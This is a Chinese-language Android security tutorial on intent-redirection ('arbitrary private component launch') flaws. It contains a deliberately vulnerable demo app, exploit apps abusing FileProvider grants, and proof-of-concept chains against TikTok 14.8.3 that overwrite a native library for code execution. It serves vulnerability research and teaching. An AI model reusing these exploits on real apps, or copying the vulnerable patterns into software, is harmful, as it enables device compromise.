任意私有组件启动漏洞的利用

DateVersionDescriptionAuthor

2022.11.18

1.0

完整的漏洞模型分析与利用

wnagzihxa1n

0x00 前言

任意私有组件启动是安卓应用非常经典的一类漏洞模型,简单来说就是漏洞应用调用startActivity()方法的时候,其参数intent外部可控,或者部分字段可控,结合漏洞应用的特性或者FileProvider配置,即可实现任意私有文件读写,如果VictimAPP安装目录下存在可执行文件,在应用运行时存在动态加载的操作,那么使用任意私有文件读写原语就可以覆盖动态库,进一步实现任意代码执行

0x01 任意私有组件启动漏洞

1.1 创建漏洞应用工程

来看简化后的漏洞模式,组件MainActivity导出,其onCreate()方法获取传入Intent的一个字段作为startActivity()的参数进行调用,这就叫作任意私有组件启动漏洞

public class MainActivity extends AppCompatActivity {
    final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));

        Intent target_intent = getIntent().getParcelableExtra("target_intent");
        if (target_intent != null) {
            startActivity(target_intent);
        }
    }
}

再创建一个私有Activity组件PrivateActivity作为利用组件

public class PrivateActivity extends Activity {
    final private static String TAG = String.format("[*] [%s]", PrivateActivity.class.getName());

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.private_layout);

        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
    }
}

1.2 创建漏洞利用工程

将打开私有组件的target_intent塞到发送出去的Intent里

public class MainActivity extends AppCompatActivity {
    final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));

        String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity";
        String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity";
        String victimPrivateActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity";

        Intent expIntent = new Intent();
        expIntent.setClassName(victimPackageName, victimPrivateActivityName);

        Intent intent = new Intent();
        intent.setClassName(victimPackageName, victimMainActivityName);
        intent.putExtra("target_intent", expIntent);

        startActivity(intent);
    }
}

1.3 调试记录

运行VictimAPP,打印出日志

E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end

运行ExploitAPP,此时会再次打印出MainActivity.onCreate()的日志,然后跳转到PrivateActivity,再次打印出PrivateActivity.onCreate()的日志

日志信息,先打开VictimAPP的MainActivity,再跳到PrivateActivity

E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end
2022-04-18 19:57:25.924 10397-10397/com.wnagzihxa1n.vulnerableapp.startactivity E/[*] [com.wnagzihxa1n.vulnerableapp.startactivity.PrivateActivity]: onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.PrivateActivity;end

0x02 结合FileProvider授权私有文件访问特性实现任意私有文件读写

拥有任意私有组件启动漏洞有一个通用的利用方式,就是结合FileProvider配置获取到VictimAPP安装目录下私有文件的文件读、写或者读写权限

首先来理解下FileProvider的使用场景,谷歌为了替换file://这种文件URI,使用FileProvider来描述文件

在VictimAPP里创建一个VictimFileProvider

public class VictimFileProvider extends FileProvider {
    
}

在Manifest里添加配置,authoritiesname用于描述当前的FileProvider,grantUriPermissions表示当前FileProvider可以提供临时访问授权,一般情况下,FileProvider不能配置为导出,其中的meta-data里会包含一个xml文件,这个文件描述了当前FileProvider可以访问的路径

<provider
    android:authorities="com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
    android:name="com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider"
    android:grantUriPermissions="true"
    android:exported="false">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/victim_paths" />
</provider>

victim_paths.xml里,root-path描述系统根目录,files-path描述安装应用目录下的files文件夹,cache-pathexternal-path分别表示缓存目录和SD卡下的目录,一般来说许多应用为了业务方便都直接配置root-path,部分被攻破的应用会增强这部分的配置

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

修改ExploitAPP的expIntent,有两个新增字段,Flags用于描述授权的类型,分别是读、写或者读写,Data用于描述指向的文件URI,这里也可以指向路径文件夹前缀,表示整个文件夹的访问权限授权,对应的Flags字段也要做修改,最后修改要打开的组件为ExploitAPP的ExploitActivity,用于授权后读取VictimAPP私有目录文件

public class MainActivity extends AppCompatActivity {
    final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));

        String exploitPackageName = "com.wnagzihxa1n.exploit.startactivity";
        String exploitActivityyName = "com.wnagzihxa1n.exploit.startactivity.ExploitActivity";

        Intent expIntent = new Intent();
        expIntent.setClassName(exploitPackageName, exploitActivityyName);
        expIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        expIntent.setData(Uri.parse("content://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n"));

        String victimPackageName = "com.wnagzihxa1n.vulnerableapp.startactivity";
        String victimMainActivityName = "com.wnagzihxa1n.vulnerableapp.startactivity.MainActivity";
        
        Intent intent = new Intent();
        intent.setClassName(victimPackageName, victimMainActivityName);
        intent.putExtra("target_intent", expIntent);

        startActivity(intent);
    }
}

ExploitAPP创建ExploitActivity

public class ExploitActivity extends Activity {
    final private static String TAG = String.format("[*] [%s]", ExploitActivity.class.getName());

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
    }
}

日志一共有三段:

第一段是ExploitAPP启动时的日志

[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.exploit.startactivity/.MainActivity;end

第二段是VictimAPPP(被调用)启动时的日志

[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.vulnerableapp.startactivity    E  onCreate: intent:#Intent;component=com.wnagzihxa1n.vulnerableapp.startactivity/.MainActivity;end

第三段是跳回ExploitAPP的ExploitActivity的日志

[*] [com.wnagzih...ExploitActivity] com.wnagzihxa1n.exploit.startactivity          E  onCreate: intent://com.wnagzihxa1n.vulnerableapp.startactivity.VictimFileProvider/root/data/data/com.wnagzihxa1n.vulnerableapp.startactivity/attack_by_wnagzihxa1n#Intent;scheme=content;launchFlags=0x3;component=com.wnagzihxa1n.exploit.startactivity/.ExploitActivity;end

整个利用的流程如下

修改ExploitAPP的ExploitActivity,获取传入的URI进行数据写入

public class ExploitActivity extends Activity {
    final private static String TAG = String.format("[*] [%s]", ExploitActivity.class.getName());

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));

        try {
            OutputStream outputStream = getContentResolver().openOutputStream(getIntent().getData());
            IOUtils.copy(getAssets().open("hacked_by_wnagzihxa1n"), outputStream);
            outputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

成功写入,那么进一步的利用就是寻找动态库去覆写,如果没有动态库或者动态库加载过程存在签名校验,可以结合具体的业务逻辑实现进一步的利用

crosshatch:/data/data/com.wnagzihxa1n.vulnerableapp.startactivity # ls -al
total 32
drwx------   5 u0_a156 u0_a156        3488 2022-04-19 00:31 .
drwxrwx--x 208 system  system        24576 2022-04-18 19:55 ..
-rwx------   1 u0_a156 u0_a156           0 2022-04-19 00:31 attack_by_wnagzihxa1n  // <--
drwxrws--x   2 u0_a156 u0_a156_cache  3488 2022-04-18 19:15 cache
drwxrws--x   2 u0_a156 u0_a156_cache  3488 2022-04-18 19:15 code_cache
drwxrwx--x   2 u0_a156 u0_a156        3488 2022-04-18 22:38 files

这里使用到了一个三方文件读写库

  • https://dlcdn.apache.org/commons/io/binaries/

0x03 实例漏洞

在掌握了最基本的漏洞模型与利用方式之后,我们结合几个RealWorld真实案例来深入掌握这部分的知识

3.1 TikTok漏洞一:[TikTok] [14.8.3] NotificationBroadcastReceiver任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞

完整漏洞分析

  • https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483notificationbroadcastreceiver-ren-yi-si-you-zu-jian-qi-dong

上线时间应用名包名软件版本下载链接

2020.02.08

TikTok

com.zhiliaoapp.musically

14.8.3

https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/

组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver导出

<receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
    <intent-filter>
        <action android:name="notification_cancelled"/>
    </intent-filter>
</receiver>

当Action为notification_clicked的时候,会获取contentIntentURI传入startActivity()进行跳转,由于contentIntentURI外部可控,所以可以跳转调用任意私有不导出Activity组件

public class NotificationBroadcastReceiver extends BroadcastReceiver {
    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        if(context != null && intent != null) {
            String action = intent.getAction();
            int intent_type = intent.getIntExtra("type", -1);
            if(intent_type != -1) {
                ((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
            }

            Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
            if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
                try {
                    intent_contentIntentURI.getDataString();
                    context.startActivity(intent_contentIntentURI);    // [1]
                }
                catch(Exception unused_ex) {
                }
            }

            if("notification_cancelled".equals(action)) {
                Map map = null;
                if(intent_contentIntentURI != null) {
                    map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
                }

                h.a("push_clear", map);
            }

            return;
        }
    }
}

找到一个可用的FileProvider

<provider 
    android:authorities="com.zhiliaoapp.musically.fileprovider" 
    android:exported="false" 
    android:grantUriPermissions="true" 
    android:name="android.support.v4.content.FileProvider">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider>

对应的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <root-path name="name" path=""/>
	...
</paths>

给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver发送广播

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }

    private void handleIntent(Intent i) {
        Intent intent = new Intent("notification_clicked");
        intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
        sendBroadcast(intent);
    }
}

回顾下漏洞代码段,会获取contentIntentURI字段,用于后续跳转

Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
    try {
        intent_contentIntentURI.getDataString();
        context.startActivity(intent_contentIntentURI);  // 启动外部可控的Intent
    }
    catch(Exception unused_ex) {
    }
}

如下即可实现指定应用获取URI指向文件的读写权限,从NotificationBroadcastReceiver跳到ExploitAPP的MainActivity的时候就获得了对URI指向文件的读写权限,此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so,同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver,会去调用else分支,将我们的SO文件写入指定的路径

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        handleIntent(getIntent());
    }
    
    @Override
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private void handleIntent(Intent i) {
        if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
            // NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent,用于PoC获取FileProvider的文件读写权限
            Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
            next.setClassName(getPackageName(), getClass().getCanonicalName());
            next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));

            // 发往NotificationBroadcastReceiver的Intent
            Intent intent = new Intent("notification_clicked");
            intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
            intent.putExtra("contentIntentURI", next);
            sendBroadcast(intent);
        }
        else {
            try {
                OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
                InputStream inputStream = getAssets().open("evil_lib.so");
                IOUtils.copy(inputStream, outputStream);
                inputStream.close();
                outputStream.close();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    }
}

我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so,这得从Facebook开源的SoLoader说起,这个工具可以自动实现SO文件的加载,能够解决大量动态库的依赖问题,它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main,然后应用启动的时候会去这个路径下加载动态库,但在测试过程中,这个路径下默认是没有库文件的

那我们既然拥有/data/data/com.zhiliaoapp.musically下文件的读写能力,就可以指定其中一个动态库去覆写,应用启动的时候就会加载我们覆写后的动态库,实现代码执行

我们使用如下的代码生成用于攻击的SO,提取其中64位的版本放到ExploitAPP的Assets文件夹下

#include <jni.h>
#include <string>
#include <android/log.h>

#define LOG_TAG "######################################################"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    LOGE("Debug: [%s] \n", __FUNCTION__);
    
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }
    return JNI_VERSION_1_6;
}

需要注意的是不同版本有不一样的行为,在某些版本并不能生成lib-main文件夹,可以替换成app_librarian/14.8.3.6327148996

攻击过程:先安装TikTok,点击启动运行,再运行ExploitAPP,覆写SO,再重启TikTok就会发现漏洞利用成功,这样也会造成问题,有的库函数没有实现会导致崩溃,需要手动调用原来的libimagepipeline.so库函数,并把结果返回

04-29 15:01:09.720 14186 14500 E ######################################################: Debug: [JNI_OnLoad]
04-29 15:01:09.720 14186 14500 E zygote  : No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:09.721 14186 14500 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 15:01:09.721 14186 14500 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 14186
04-29 15:01:09.721 14186 14500 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:10.514 14186 14194 E zygote  : No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
04-29 15:01:10.514 14186 14194 E System  : java.lang.UnsatisfiedLinkError: No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)

3.2 TikTok漏洞二:[TikTok] [14.8.3] DetailActivity任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞

完整漏洞分析

  • https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/bytedancetiktokcomzhiliaoappmusically1483detailactivity-ren-yi-si-you-zu-jian-qi-dong-jie-he-filepro

上线时间应用名包名软件版本下载链接

2020.02.08

TikTok

com.zhiliaoapp.musically

14.8.3

https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/

组件com.ss.android.ugc.aweme.detail.ui.DetailActivity导出

<activity 
    android:name="com.ss.android.ugc.aweme.detail.ui.DetailActivity" 
    android:screenOrientation="portrait" 
    android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
    android:windowSoftInputMode="adjustUnspecified|stateHidden|adjustResize">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="taobao" android:host="detail.aweme.sdk.com"/>
    </intent-filter>
</activity>

获取传入的Intent去跳转,点击返回键来触发,返回键大部分的安卓机都是有的

@Override  // android.support.v4.app.FragmentActivity
public void onBackPressed() {
    if(com.ss.android.ugc.aweme.utils.d.c.c()) {
        Intent intent = (Intent)this.getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY");
        if(intent != null && intent.resolveActivity(this.getPackageManager()) != null) {
            this.startActivity(intent);
            this.finish();
            return;
        }
    }
    
    ...
}

利用过程和前一个漏洞一样,利用FileProvider的权限获得对私有目录动态库的读写能力,覆写后重启TikTok实现持久化RCE

References

Last updated